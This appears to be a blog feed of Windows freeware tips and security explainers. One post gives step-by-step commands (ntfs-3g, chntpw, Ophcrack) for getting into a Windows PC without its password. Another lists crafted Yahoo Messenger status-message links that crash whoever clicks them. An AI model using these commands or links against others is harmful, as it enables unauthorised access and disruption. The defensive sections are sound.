Hacking tips & Tricks

Most Popular Freewares for Windows of 2010

noreply@blogger.com (Manpreet) — Mon, 24 Jan 2011 14:27:00 +0000

Hi, Punjabi Hacker readers. These are the most popular free windows softwares of 2010. Enjoy!!!

Soluto Is an Awesome Tool to Speed Up Your System Boot, Fix System Slowdowns

Soluto tracks your boot time and gives you the break down on what applications are causing hang ups-including grouping them into "No-Brainger" and "Potentially Removable" groups for easy weeding.

LookInMyPC Is a Must-Have Tool for Computer Troubleshooting

LookInMyPC is an at-a-glance tool that puts all your system information-in detail-right in front of you. You can find all this information by digging through your computer with various Windows tools, of course, but it's extremely convenient to have everything in one place.

Snow Transformation Pack Makes Your Windows Desktop Look Like Mac OS X

You like the look of Mac OS X but you want to stick with windows-for work, for gaming, for a deep seated sense that Steve Jobs is out to get you. Snow Transformation Pack overhauls the Windows interface to look like OS X. This isn't just a lame icon pack, this is a total transformation.

FlashHacker Keeps Flash Videos in Full Screen on Your Dual Monitors

You wouldn't think it would be so hard to enjoy flash video in full screen on your secondary monitor, but without tools like FlashHacker it's quite a headache. Enjoy South Park in full screen on your extra monitor while working in your primary.

CCleaner Enhancer Makes CCleaner Even Better, Now Cleans 270 New Apps

What could make the popular computer cleaning and tweaking application CCleaner even better? CCleaner Enhancer extends the reach of CCleaner by expanding its database of programs and the digital debris they leave behind.

ZeuApp Downloads 82 Awesome Open Source Apps

If you love open source apps and you want an easy way to download them in bulk (or introduce a friend to the gift of open source), ZeuApp makes it dead simple to batch download 82 great open-source applications.

Google Map Buddy Generates High Resolution, Full Size Area Maps

Google Map Buddy is a free and portable application with a singular focus: leaching high-res captures from Google Maps. If you've ever wanted to wallpaper your office with a map of the downtown, now's your chance.

Steam Mover Relocates Applications to Free Up Space on Your Primary Drive

Steam Mover is a handy application, originally designed for gamers, that makes it dead simple to move infrequently used applications from your primary drive to a secondary drive. It's not 100% foolproof but it works really well for most applications.

Ei.cfg Removal Utility Lets You Use Any Product Key With Your Windows 7 Disc

Windows 7 install discs are edition specific-unless you use Ei.cfg. If you've got a valid disc but the wrong edition key you can still use the disc to install the right edition for the key you have. It's an invaluable tool when you've got valid discs, valid keys, but not in matching editions.

ToneCheck Stops You from Sending Passive Aggressive (or Plain Aggressive) Emails

ToneCheck is an Outlook plug-in that checks the tone and word selection of your email and warns you before you fire off an email you might regret. Although the idea is promising our testing yielded mixed results-human emotion and intention are, after all, quite difficult for a computer to analyze.

uTorrent 2.0 Brings Performance Updates, Bandwidth Control, UDP Support, and More

uTorrent is a wildly popular BitTorrent client, earlier this year it updated to version 2.0 and brought a host of new features including bandwidth management, UDP support, and other improvements.

Pale Moon Is a Faster Firefox Clone for Windows

If you love Firefox but you'd like it to be a little snappier, Pale Moon is a Firefox clone optimized for speed. It's a Windows-specific build and it clocks in at 25% faster than a stock Firefox install.

Disk Space Fan Analyzes Hard Drive Space with a Dash of Eye Candy

Your hard drive is full again and you're not sure why. Out of control temp files? Overly complete Hello Kitty collection? Disk Space Fan gives you a quick and dirty visual analysis of your hard drive usage. Once you scan a drive you can drill down quickly to see what folders and sub-folders are sucking up what disk space.

Freemake Is a Remarkably Simple, Yet Feature-Filled Video Converter and Editor

There are a lot of video conversion apps floating around. Freemake stands out thanks to a dead simple interface that guides even the greenest video converting newbie through the process without a hiccup. Whether you're converting for your iPod, your cell phone, or burning to a DVD, Freemake has a simple workflow you can follow.

MultiBootISOs Boots Multiple Operating Systems from a USB Drive

If you're up in the air on which OS you want to run off your thumb drive MultiBootISOs enables multi-boot support on your USB devices. You can load as many operating systems as your thumb drive can hold and select between them at boot.

How to Encrypt and Hide Your Entire Operating System from Prying Eyes

noreply@blogger.com (Manpreet) — Fri, 26 Nov 2010 14:56:00 +0000

Iif you're really serious about protecting your data, you can actually hide your entire operating system. Here's exactly how to do it. To accomplish this task, we'll be using True Crypt, our favorite free and open-source disk encryption software that runs on all platforms, supports hidden volumes, and can even encrypt your entire hard drive.

Once we've completed the setup, you'll have two Windows installations and two passwords. One password will activate a hidden Windows installation as your real operating system, and the other, a decoy install to throw intruders off the trail.

Setting Up Your Hidden Operating System

In order to actually activate the hidden operating system features, you'll need to make sure that your hard drive is partitioned in a very particular way: You'll need two partitions on your drive, and the first partition has to have your Windows install on it. The second partition needs to be bigger than the first, and if you're using NTFS as your file system, it will need to be at least 2.1 times as big as the first partition. You can re-partition your current drive, but your best bet will be a clean installation. (As with skinning a cat, there are many ways to partition a hard drive. Windows 7 and Vista have built in partitioning tools [open Computer Management, then go to Storage -> Disk Management in the sidebar], or you could check out our guide to dual booting windows 7 as a solid resource to get started with a partitioned system.)

Once you've got your Windows installation up and running, make sure you've downloaded and installed TrueCrypt on your machine. Then fire it up and use the System –> Create Hidden Operating System menu item.

This will pop up a wizard that will help create the new TrueCrypt volume to house the hidden operating system, which will live inside of a hidden volume on the secondary partition. Your best bet the first time around is to just choose Single-boot—leave the multi-boot for the advanced class.

The Volume Encryption options page is important for one primary reason, namely that you need to choose the same encryption method across the board while you're running through this process. You'll be prompted a number of times to choose the encryption, and you need to always choose the same one or else you can't boot or access your data—also, the default setting of AES encryption is much, much faster than any other option.

You'll be prompted to choose the outer volume password, which will house a set of decoy files to make people believe that your TrueCrypt volume on the second partition contains nothing more than a bunch of files you don't want people to see—except the files you put on the outer volume aren't actually meant to be a secret. Make sure you don't lose this password.

Next you'll be asked whether or not you want to store large files on the TrueCrypt outer volume. This choice is up to you, but there's probably no reason to choose yes here.

Once the outer volume is created, you'll be prompted to put some files there to make sure it looks like a real drive in case you're asked to open your TrueCrypt volume.

Next you'll be asked to create a password for the hidden volume, which will contain the hidden operating system. It's crucially important that you choose a different password here, make sure it's difficult, and make sure that you don't forget it.

At this step you'll be asked to reboot your PC and re-enter the password for the hidden operating system. Your new hidden OS will be copied from your primary operating system and encrypted into your newly created hidden volume. Readers should note that this process can take an extremely long time—you'll want to let this run overnight.

Once the hidden operating system has been created, you'll be able to boot directly into it by using the hidden password, and then you'll be prompted to wipe the original system off the first partition. This process can also take a few hours, so go do something else while it's running.

At this point you'll have a hidden operating system, accessible by using the hidden password. The outer volume password won't do anything, and hitting Esc at the TrueCrypt boot loader screen will take you to a page saying there's no bootable operating system.When you boot into your hidden operating system, you'll notice that you still see two drives, and the C: drive appears to be the same as it was before, but it's actually living in the encrypted volume, which is on the second drive that you aren't able to access. Whatever you do, leave that second drive alone-don't try to use partition tools to reformat or anything else.

Install the Decoy OS

Naturally, creating a hidden operating system isn't very useful unless you also have a decoy OS to show off to somebody that might be looking at your PC—they will simply assume that you used TrueCrypt to encrypt your drive, not that you also have a hidden operating system.
Just drop the Windows installation disk into your drive, and install a fresh copy—but make absolutely certain that you install onto the first partition on the drive and not on top of your encrypted OS.

Once you've installed Windows again, the TrueCrypt boot loader will be wiped out, but don't worry, you'll just need to download and install TrueCrypt inside the decoy operating system, and then use System –> Encrypt System Partition/Drive to encrypt the decoy OS as well. During this process, you'll be asked to pick the password for the decoy operating system, and you'll want to make sure you save this one as well.

Make sure this time that you select the Normal option on the wizard, and when prompted, choose the same encryption version as you did before.

Choose to encrypt just the Windows system partition (see screenshot below), which in this case is the first partition on the drive that houses the decoy operating system. If you choose to encrypt the whole drive here, it's going to break your hidden operating system.

Below is the one screen in the wizard that might throw you for a loop: You are required to create a rescue disk and burn it to CD or DVD using TrueCrypt's wizard. While you should absolutely create the rescue disk, if you are having problems burning it off this particular PC and decided to burn the disc using another PC instead, you can simply save the ISO image to your hard drive and then use an ISO mounting software to mount the disk. Either way, you can proceed through the wizard once the rescue disk is in the drive.

Once the wizard is complete, you'll need wait while the drive is encrypted, which will take a few more hours. Once it's done, you'll have a hidden operating system, and a decoy to throw people off your trail.

Using Your Decoy or Hidden Operating Systems

When you reboot your computer, you'll see the TrueCrypt boot loader screen, where you can type in one of two passwords. If you use the Hidden password, you'll be able to access your hidden Windows install, and if you use the Decoy password, naturally, you'll be able to access the decoy operating system.

If you have booted into the decoy operating system, you can access the outer volume sitting on the secondary partition to "prove" to somebody that it's nothing more than a TrueCrypt drive—just use the outer volume password when you mount the volume using TrueCrypt, which will do nothing more than show off the sample files you added in a previous step.

And after all that, you've got a completely encrypted, completely hidden operating system. It's a complex, time-consuming process, to be sure, but if you regularly have sensitive data on your machine, you're a card-holding member of the tin-foil hat club, or you just like your privacy, it does the job nicely.

How to Break into a Windows PC And Prevent It from Happening to You

noreply@blogger.com (Manpreet) — Sun, 14 Nov 2010 07:26:00 +0000

Whether you've forgotten your password or you have a more malicious intent, it's actually extremely easy to break into a Windows computer without knowing the password. Here's how to do it, and how to prevent others from doing the same to you.
There are a few methods to breaking into a computer, each with their own strengths and weaknesses. We'll go through three of the best and most common methods, and nail down their shortcomings so you know which one to use—and how to exploit their weaknesses to keep your own computer secure.

The Lazy Method: Use a Linux Live CD to Get at the Files

If you don't need access to the OS itself, just a few files, you don't need to go through much trouble at all. You can grab any Linux live CD and just drag-and drop files onto a USB hard drive, as you would in any other OS.

Just download the live .iso file for any Linux distribution (like the Ubuntu) and burn it to CD. Stick it in the computer you want to access and boot up from that CD. Pick "Try Ubuntu" when it comes up with the first menu, and it should take you right into a desktop environment. From here, you can access most of the hard drive just by going to the Places menu in the menu bar and choosing the Windows drive. It should see any NTFS drives just fine.
Note that depending on the permissions of some files, you might need root access. If you're having trouble viewing or copying some files, open up a terminal window (by going to Applications > Accessories > Terminal) and type in gksudo nautilus, leaving the password blank when prompted. You should now have access to everything.

How to Beat It

This method can give you access to the file system, but its main weakness is that the malicious user still can't access any encrypted files, even when using gksudo. So, if the owner of the computer (or you) has encrypted their files, you won't get very far.

Sneaky Command-Line Fu: Reset the Password with the System Rescue CD

If you need access to the operating system itself, the Linux-based System Rescue CD is a good option for breaking in. You'll need to do a bit of command line work, but as long as you follow the instructions closely you should be fine.

How it Works

Just download the .iso file for the System Rescue Live CD and burn it to disc. Boot from the disc and hit the default option when the blue screen comes up. After everything loads and you're presented with a command-line interface, type fdisk -l to see the drives and partitions on your computer. Pick the Windows partition (usually the largest NTFS partition) and note the name, e.g. /dev/sda3.
Then, run the following command:

ntfs-3g /dev/sda3 /mnt/windows –o force

Make sure to replace /dev/sda3 with the partition you noted earlier. Next, cd to your Windows/System32/config directory with this command:

cd /mnt/windows/Windows/System32/config

We want to edit the SAM file in this folder, so type the following command to get a list of users:

chntpw –l SAM

Note the username you want to access, and then type the following command, replacing Whitson Gordon with the username in question.

chntpw –u "Whitson Gordon" SAM

At the next screen, choose the first option by typing the number 1 and hitting Enter. This will clear the user password, making it blank. When it asks you to write hive files, hit y and press Enter. It should say OK, and then you can type reboot to reboot the computer. When you boot into Windows, you'll be able to log in to that user's account without a password.

How to Beat It

Once again, the weakness of this method is that it still can't beat encryption. Changing the password will disallow you access to those encrypted files, makes this method pretty useless. If they've only encrypted a few files, though, you'll still be able to access all the unencrypted stuff without a problem.

Brute Force: Crack the Password with Ophcrack

Where the other two methods are vulnerable to encryption, this method will give you full access to everything the user can access, including encrypted files, since this method relies on finding out the user's password instead of bypassing it.

How It Works

All you need to do is download and burn the Ophcrack live CD (use the Vista version if you're cracking a Windows 7 PC) and boot from it on your computer. It'll take a little bit of time to boot, but eventually it will bring you to a desktop environment and start attempting to crack passwords. This may take a while. You'll see the passwords pop up in the top pane of the window, though, when it finds them (or, if it doesn't find them, it'll notify you). You can then reboot and log in to Windows using those passwords.

How to Beat It

While this method works on encrypted OSes, it can't crack every password out there. To increase your chance of having an uncrackable password, use something complicated and greater then 14 characters. The stronger your password, the less likely Ophcrack will be able to figure it out.

There are a lot of methods to break into a Windows computer but these are a few of the best and most widely useful. Apart from encryption, very little can stop the first two methods, and on those occasions you have Ophcrack to possibly fall back on.Do give your comments.

ZeuApp Downloads 82 Awesome Open Source Apps

noreply@blogger.com (Manpreet) — Fri, 08 Oct 2010 15:04:00 +0000

If you're setting up a new system or helping a friend to see how much great free and open source software exists, ZeuAPP is a portable installation tool for nearly a hundred applications.

ZeuAPP is essentially an installation dashboard for 82 applications. You can navigate to application types like CD Burners, P2P apps, Office apps, and more. Under each tab are applications for that
category with a "Download" and "Visit Website" button which allow you to download the application and automatically launch the installer or visit the web site for more info.

ZeuAPP is freeware, portable, and Windows only. Looking for something that'll also quickly grab and install your favorite non-open source apps?

Download Zeuapp

Nine Common Myths and Misconceptions About Viruses, Examined and Debunked

noreply@blogger.com (Manpreet) — Thu, 07 Oct 2010 15:46:00 +0000

There are so many myths, misconceptions, and just plain old lies about viruses that it's often hard for anybody to know what to think. Let's examine a few of the biggest myths about viruses, and debunk each of them.
A few weeks ago, we explained how to understand the difference between viruses, trojans, worms and other malware, and today we'll walk through some of the common myths about malware and debunk them.

Myth 1: Firewalls Protect You From Viruses

It's surprising how many people don't realize this, but your firewall is not going to protect you from a virus, trojan, or spyware—in fact, the only type of malware that you'll definitely be helping prevent is a worm, because they travel over the network. And sure, theoretically an outbound firewall will alert you when a malware application is sending data back, but that's a false sense of security, since once you are infected, a clever virus can simply disable the firewall. Don't misunderstand, we aren't recommending that you go and disable your firewall—in fact you should keep it enabled at all times, especially when you're on an insecure network like a coffee shop. If you aren't sure what firewall to choose, we recommend you don;t pay for windows security and use the built-in one, but you can also check out our list of the best windows firewalls.

Myth 2: Viruses Can Physically Damage Your Hardware

Sure, a virus like CIH can infect your firmware or BIOS, but the hardware itself is unaffected. Rumors of viruses causing your PC to go crazy and explode are unfounded and a little ridiculous. If your computer ends up infected by one of these more dangerous BIOS-level viruses, you'll probably have to take the computer to somebody that can wipe the BIOS manually, or replace it, but software viruses aren't going to murder your hardware.

Myth 3: My Computer Is Throwing a Lot of Errors, So It Must Have a Virus

Files can get corrupted on their own, without the involvement of any viruses—whether it's through a bug in the software, a bad sector on your hard drive, faulty memory, or ironically, a conflict with your antivirus software. So the next time you get a warning about being unable to open a file, scan it with your antivirus software before you accuse your computer of having a virus.

Myth 4: I Can Just Reinstall Windows and Copy Everything Back

I can't count the number of times I've seen somebody reinstall Windows on their PC after a virus infection, only to copy their files from a backup drive and then re-infect themselves all over again. You need to make sure that your documents and data have been scanned for and are free from viruses, especially after an infection.
To help prevent these problems in the first place, make sure that you've got an antivirus package installed and real-time protection enabled. If you aren't sure which one to choose, we recommend the free Microsoft Security Essentials, but if you want to shop around, take a look at one of the Popular antivirus applications

Myth 5: I Can Always Trust My Antivirus Application to Steer Me in the Right Direction

More often than you'd think, your antivirus software is just plain wrong, and especially when you're using a scanner that employs heuristic scanning to check if a file might have a virus. Do you remember the recent Mcafee fiasco?

Myth 6: The Blue Screen of Death Means I've Got a Virus, Right?

While some viruses can certainly cause an appearance by the feared blue screen of death, the majority of the time a BSOD is caused by bad drivers or faulty hardware. It's very rarely a virus, and assuming that it is will increase your troubleshooting time.
Your best bet when dealing with the blue screen of death is to disable the automatic reboot so you have time to write down the error message. Once you've done so, chances are good that Google will help you out with an answer to what it could be.

Myth 7: Windows Is the Only Platform with Malware

hile it's true that almost all viruses are targeted at Windows, it doesn't mean that Windows is the only platform with malware issues. There's been a recent increase in trojans targeting Macs, usually through pirated software cracks(same as Windows), and the trend will probably continue as Macs become more popular. And since trojans exploit human error rather than a security hole, all platforms are susceptible to them.
If you're using a Linux or Mac computer, you can protect yourself by following many of the same rules that you would for Windows: Don't install software from places you don't know, be wary anytime a piece of software asks you for your password, and avoid installing "codecs" from porn sites. Some simple common sense will keep you from being the victim of a malware attack

Myth 8: This Damn Virus Went Browsing for Porn—It Wasn't Me!

I always get a good laugh when somebody brings a PC over to me and tells me that it's infected with viruses—and then they proceed to tell me that those darn viruses opened up all these sleazy porn sites, and they have no idea how it happened. If you've spent any time in the tech help world, you've probably heard the same thing before.
Sure, you might accidentally see a porn ad popup if you don't have a popup blocker in your browser and you're already browsing sleazy sites, but viruses don't browse through porn sites, people do. It's usually at this stage that I point out that just like the people on the screen, anything downloaded from a porn site is much more likely to contain a virus.

Myth 9: Viruses Can Infect Humans, or Alien Spacecrafts

Yeah, so this one is a little ridiculous, but there are just too many movies and TV shows that have a plot dependent on the idea of humans infecting an alien spacecraft with a virus that spreads from one ship to another, until it finally infects the mothership and kills them all. I mean, really? Is that the best plot they can come up with? We can barely even share files between Macs and PCs without problems, much less infect a human being or an alien spacecraft with a virus. To quote Chef: "That doesn't make any goddamned sense!"
.

Print Files on Your Printer from Any Phone or Remote Computer via Dropbox

noreply@blogger.com (Manpreet) — Fri, 01 Oct 2010 15:31:00 +0000

Punjabi Hacker details how to combine a Dropbox account and a simple script with any device that supports Dropbox (which includes almost all popular smartphones and Windows/Mac/Linux operating systems) to remotely or wirelessly print documents on your home printer.
The video above demonstrates the script in action, but the four-step setup is pretty simple. The short version: 1) Install Dropbox on the computer connected to your printer, 2) make sure Dropbox is also installed on the device you want to print from (or set up an email-to-Dropbox service) 3) run the VBS script on the printer-connected computer (available at Digital Inspiration) to create and monitor a PrintQueue folder in your Dropbox folder, and 4) send any file you want printed to the PrintQueue folder.

What’s the Difference Between Viruses, Trojans, Worms, and Other Malware?

noreply@blogger.com (Manpreet) — Tue, 21 Sep 2010 15:28:00 +0000

Punjabi Hacker's tech-savvy readers are the first people on speed-dial when it's time to heal an infected PC, but how much do you really know about viruses, spyware, scareware, trojans, and worms? Here's a helpful guide to understanding all the different types of malware.
The point of today's lesson, of course, is to help you teach your friends and family more about the different types of malware, and debunk a few of the common myths about viruses. Who knows, maybe you'll learn a thing or two as well.

What is Malware?

The word Malware is short for malicious software, and is a general term used to describe all of the viruses, worms, spyware, and pretty much anything that is specifically designed to cause harm to your PC or steal your information.

The term computer virus is often used interchangeably with malware, though the two don't actually have the same meaning. In the strictest sense, a virus is a program that copies itself and infects a PC, spreading from one file to another, and then from one PC to another when the files are copied or shared. Image by Joffley
Most viruses attach themselves to executable files, but some can target a master boot record, autorun scripts, MS Office macros, or even in some cases, arbitrary files. Many of these viruses, like CIH, are designed to render your PC completely inoperable, while others simply delete or corrupt your files—the general point is that a virus is designed to cause havoc and break stuff.
You can protect yourself from viruses by making certain your antivirus application is always updated with the latest definitions and avoiding suspicious looking files coming through email or otherwise. Pay special attention to the filename—if the file is supposed to be an mp3, and the name ends in .mp3.exe, you're dealing with a virus.

Spyware is any software installed on your PC that collects your information without your knowledge, and sends that information back to the creator so they can use your personal information in some nefarious way. This could include keylogging to learn your passwords, watching your searching habits, changing out your browser home and search pages, adding obnoxious browser toolbars, or just stealing your passwords and credit card numbers.
Since spyware is primarily meant to make money at your expense, it doesn't usually kill your PC—in fact, many people have spyware running without even realizing it, but generally those that have one spyware application installed also have a dozen more. Once you've got that many pieces of software spying on you, your PC is going to become slow.
What many people don't realize about spyware is that not every antivirus software is designed to catch spyware. You should check with the vendor to make sure the application you are using to protect you from malware is actually checking for spyware as well. If you come across a PC that is already heavily infected, run a combination of MalwareBytes and SuperAntiSpyware to clean it thoroughly.

Scareware is a relatively new type of attack, where a user is tricked into downloading what appears to be an antivirus application, which then proceeds to tell you that your PC is infected with hundreds of viruses, and can only be cleaned if you pay for a full license. Of course, these scareware applications are nothing more than malware that hold your PC hostage until you pay the ransom—in most cases, you can't uninstall them or even use the PC.
If you manage to come across a PC infected with one of these, your best bet is to Google the name of the virus and find specific instructions on how to remove it, but the steps are usually the same—run a combination of MalwareBytes, SuperAntiSpyware, and maybe ComboFix if you need to.

Trojan Horses Install a Backdoor

Trojan horses are applications that look like they are doing something innocuous, but secretly have malicious code that does something else. In many cases, trojans will create a backdoor that allows your PC to be remotely controlled, either directly or as part of a botnet—a network of computers also infected with a trojan or other malicious software. The major difference between a virus and a trojan is that trojans don't replicate themselves—they must be installed by an unwitting user. Image by otzberg

Once your PC has been infected with the trojan, it can be used for any number of nefarious purposes, like a denial of service (DoS) attack against a web site, a proxy server for concealing attacks, or even worse—for sending out buckets of spam. Protection against trojans works the same way as viruses—make sure that your antivirus application is up to date, don't open suspicious attachments, and think long and hard before you try and use a downloaded crack for Photoshop—that's one of malware authors' favorite spots to hide a trojan.

Worms Infect Through the Network

Computer worms use the network to send copies of themselves to other PCs, usually utilizing a security hole to travel from one host to the next, often automatically without user intervention. Because they can spread so rapidly across a network, infecting every PC in their path, they tend to be the most well-known type of malware, although many users still mistakenly refer to them as viruses. Image by me and the sysop

Some of the most famous worms include the ILOVEYOU worm, transmitted as an email attachment, which cost businesses upwards of 5.5 billion dollars in damage. The Code Red worm defaced 359,000 web sites, SQL Slammer slowed down the entire internet for a brief period of time, and the Blaster worm would force your PC to reboot repeatedly.
Because worms often exploit a network vulnerability, they are the one type of malware that can be partially prevented by making sure your firewall is enabled and locked down—you'll still need an updated antivirus software, of course.

Game Booster Optimizes Your PC for Gaming

noreply@blogger.com (Manpreet) — Sun, 19 Sep 2010 14:40:00 +0000

If you find it troubling to stop running applications, clear out RAM, update drivers, and otherwise get your system ready for a gaming session, free app Game Booster will do it all for you, according to your preferences.

Game Booster gives you a number of preferences for when you're running a game, from which background applications can quit to small tweaks to optimize processor performance and clean RAM. After specifying your preferences, you can go into "Gaming mode" with the flip of a switch. Then, when you're done playing, you can just switch gaming mode back off and go back to your regular desktop experience.

It also has a few other features, like checking for important driver updates, downloading popular game add-ons, and defragmenting your game folders. If you find that your desktop setup isn't optimal for gaming, it's a nice tool to let you spend more time gaming and less time tweaking your computer before every session. And, of course, don't forget to overclock your graphics card with previously mentioned EVGA Precision for an even bigger performance boost.

Game Booster 2 Beta is a free download, Windows only.

Download Game Booster

Create a Portable Version of Just About Any Program

noreply@blogger.com (Manpreet) — Sun, 12 Sep 2010 14:35:00 +0000

Windows only: If you're a big fan of portable applications, but there isn't a portable version of your favorite app out there, free app Cameyo will create one for you.

Cameyo is extremely simple to use. Just start it up, let it take a snapshot of your PC (which can take a little while, even if you don't have a ton of stuff loaded onto it), and install your program of choice. After you're done, Cameyo will take another snapshot and package that application into a portable EXE that you can take with you anywhere and run it normally (but without it affecting the rest of the system).

The really cool thing, as you can see in the video above, is that you can install pretty much anything—even add-ons to other programs, and they'll be included in the package. This means you can bring your favorite browser pre-bundled with, say, Flash and Java, among other things. Hit the link to try it out.

Cameyo is a free download for Windows only.

Load and use multiple OSs from your USB drive

noreply@blogger.com (Manpreet) — Fri, 10 Sep 2010 15:29:00 +0000

Ever felt like carrying your Ubuntu, Fedora, Tiny-core and all other OS’s iso in your pen drive? Yes, you can now carry all your favorite Operating systems with you wherever you go and boot from them using the same USB drive.MultiBoot USB is a freeware which can help you to use the multiple OS iso files on the same pen drive.

To use the MultiBoot on your pen drive it must meet some requirements first. You’ll require a FAT32 formatted pen drive and a computer which can boot from a USB device. Prefer using an 8-16 GB pen drive so that you can have more different operating systems on it.

To start off first download the MultiBootISO’s from here . Run the executable and follow the instructions. Browse to the ISO file you want to load on your USB drive and build the bootable USB using it. You might have to format your pen drive during the process so do take a backup of all your data which is there on the pen drive.

To add more ISO files repeat the same procedure. Restart your PC and set the highest priority for the USB drive to boot from it and done. Do give it a shot!!! :)

Download MultiBoot ISO’s (781 KB)

Knoppix - bootable CD

noreply@blogger.com (Manpreet) — Thu, 09 Sep 2010 15:26:00 +0000

KNOPPIX is a bootable CD with a collection of GNU/Linux software, automatic hardware detection, and support for many graphics cards, sound cards, SCSI and USB devices and other peripherals. KNOPPIX can be used as a Linux demo, educational CD, rescue system, or adapted and used as a platform for commercial software product demos. It is not necessary to install anything on a hard disk. Due to on-the-fly decompression, the CD can have up to 2 GB of executable software installed on it.

Download Knoppix

Ubuntu - Best Open source linux operating system

noreply@blogger.com (Manpreet) — Thu, 09 Sep 2010 15:23:00 +0000

Ubuntu is a computer operating system originally based on the Debian GNU/Linux distribution and distributed as free and open source software with additional proprietary software available.

Ubuntu comes installed with a wide range of software that includes OpenOffice.org, Firefox, Empathy (Pidgin in versions before 9.10), Transmission, GIMP, and several lightweight games (such as Sudoku and chess). Additional software that is not installed by default can be downloaded and installed using the Ubuntu Software Center or the package manager Synaptic, which come pre-installed. Ubuntu allows networking ports to be closed using its firewall, with customized port selection available. End-users can install Gufw (GUI for Uncomplicated Firewall) and keep it enabled.[31] GNOME (the current default desktop) offers support for more than 46 languages. Ubuntu can also run many programs designed for Microsoft Windows (such as Microsoft Office), through Wine or using a Virtual Machine (such as VMware Workstation or VirtualBox).

Installation of Ubuntu is generally performed with the Live CD. The Ubuntu OS can be run directly from the CD (albeit with a significant performance loss), allowing a user to "test-drive" the OS for hardware compatibility and driver support. The CD also contains the Ubiquity installer,[33] which then can guide the user through the permanent installation process. CD images of all current and past versions are available for download at the Ubuntu web site. Installing from the CD requires a minimum of 256 MiB of RAM.

Users can download a disk image (.iso) of the CD, which can then either be written to a physical medium (CD or DVD), or optionally run directly from a hard drive (via UNetbootin or GRUB). Ubuntu is also available on ARM, PowerPC, SPARC, and IA-64 platforms, although none but ARM are officially supported

Wubi, which is included as an option on the Live CD, allows Ubuntu to be installed and run from within a virtual Windows loop device (as a large image file that is managed like any other Windows program via the Windows Control Panel). This method requires no partitioning of a Windows user's hard drive. Wubi also makes use of the Migration Assistant to import users' settings. It is only useful for Windows users and it also incurs a slight performance loss.

Download Ubuntu

How to Send Large File on Internet for Slow Internet Connection

noreply@blogger.com (Manpreet) — Fri, 03 Sep 2010 14:50:00 +0000

If you have a fast internet connection you can share large files easily, but if you use dial-up connection you will not difficulties share a file with a tens megabyte/gigabyte size on internet. The only way to share large files easily you must split the file into a kilobyte or a few megabyte size.

How to split the large file into a kilobyte size? It’s easy, almost all compression software such as WINZIP, WINRAR, 7Zip, etc can be used to split a large file into a few files in kilobyte size and all the software is very easy to use.

On this tutorial I will discuss about share large file on internet if your internet connection slow. The software which I use on this tutorial is 7Zip software (you can search the software on Google :D ).

Here Two Easy Steps to Share Large File on Internet for Slow Internet Connection

1. Split the large file into few kilobytes or megabytes which you want, here how:

* On this tutorial I use 7Zip (you can use WinZip or WinRAR as alternative software). Right clicking mouse on the large file to split, on the context menu select “7-Zip” then “add to archive”

Determine file size for each file split. For example I want to split a large file into a few files with file size for each files is 1 Megabyte. Entering 1M into “Split to Volume, bytes”. Then click Ok

The result, I get a few file with 1 Megabyte size for each file. Now you can easy upload the file on online storage or on online file hosting such as Ziddu, 4Shared, MediaFire, etc. (Warning: don’t rename the files to prevent error when extract and merge them into one file)

2. How to Extract and Combine all file into one file.

If you share files that have been split, tell the software you use to split the file to the people/friend who download your files because on my experiment I getting error when combine the file using other software.

Because I use 7-Zip software to split the file which I share, so to extract and merge the file into one file I use 7-Zip again, here how:

* From windows explorer, right clicking mouse on the fist file to extract select “7-Zip” then select “Extract File” or “Extract Here” (Note: usually the order of the file name is marked with numbers)

* The result, you’ll get one large file like the source file.

I hope this post can help you to share your useful file on internet.

noreply@blogger.com (Manpreet) — Thu, 02 Sep 2010 16:13:00 +0000

How To Use Windows 7 to create a Wi-Fi network without using Router

noreply@blogger.com (Manpreet) — Thu, 02 Sep 2010 16:12:00 +0000

If you have got Wi-Fi in your laptop and have Windows 7 installed in it then you can easily turn it into a Wi-Fi hotspot and share your net connection with other people in the range and Virtual Router is the easiest way to do so.

Virtual Router is an open source software which leverages the Wireless Hosted Network API which is a part of the new Windows Operating Systems (Windows 7 and Windows server 2008).

With this feature, a Windows computer can use a single physical wireless adapter to connect as a client to a hardware access point (AP), while at the same time acting as a software AP allowing other wireless-capable devices to connect to it. This feature requires that a Hosted Network capable wireless adapter is installed in the local computer. (quoted from MS library)

The program is really simple to use. After downloading and installing the software all you have to do is specify the network name and password to access this network. It uses the WPA-2 encryption to protect the wireless network from unwanted users.

The program requires only 20mb of RAM and is pretty simple to understand and use. Requires Windows 7 or Windows server 2008 to run.

Download Virtual Router

Virtual Router Homepage

Bug in Yahoo Messenger 10 Status Message – Disconnected Without Software

noreply@blogger.com (Manpreet) — Thu, 22 Jul 2010 11:15:00 +0000

We just knew that by using Yahoo Messenger 10 there is one important bug that can be used to make someone disconnected from Yahoo Messenger. We found this tricks while we go to one of biggest Yahoo Messenger forum (you should know about it). This would be important to be resolved / fixed soon by yahoo. Here are the tricks:

Just put this code to your Yahoo Messenger Status Message (We tested in Version 10)

    ymsgr:-kill View My Webcam

You can also change the View My Webcam text into something else. Whenever someone click your Status Message link, it would make him/her disconnected in a second (very fast indeed): Yahoo Messenger Crash / Shutdown Automatically.

Another Status Message that would make someone who clicked disconnect:

    ymsgr:call?&&&&&&& / or add a name

    ymsgr:getplugin?&type=4&id=jammer&name=&&&&&&&&&&

    ymsgr:chat?&&&&&&&&

Remember this bug only appears in Yahoo Messenger

(even some users said that sometimes it also works with YM Ver 9).

Source

Hiren's BootCD 10.6 (Latest Operating System)

noreply@blogger.com (Manpreet) — Thu, 22 Jul 2010 11:12:00 +0000

Hello Friends, most people mailing me to give an article on a new advance bootable operating systemSo here is your new powerfull OS named Hiren's BootCD ,(HBCD) is a completely free bootable CD that contains a load of useful tools you can make use of in a variety of situations like analyzing, recovering and fixing your computer even if the primary operating system can not be booted.

It is a great resource for anyone with computer problems who is having trouble accessing the internet to download programs in an attempt to fix it. It has a multitude of tools divided into a number of categories like partitioning tools, backup, recovery and BIOS/CMOS tools to name a few.

With some simple knowledge about what is contained on the CD, you can use it to repair many problems computer like hard drive failure, virus infections, partitioning, password recovery and data recovery.
We may call it as an emergency cd which every computer technician or home user must have.
We thank and appreciate Hiren for his great BootCD. This site is just a download place for Hiren's BootCD and is not related with Hiren. For developer's homepage please visit Hiren's Homepage under the links.
Partition Tools.

If you need to make changes to the partitions on your computer, there are several applications that provides various levels of functionality for accomplishing this goal. You can both create and delete partitions from your computer, even while there are other partitions on the hard drive you are modifying. You can also resize partitions if needed, to change how much space is allocated to them.

Backup and Recovery
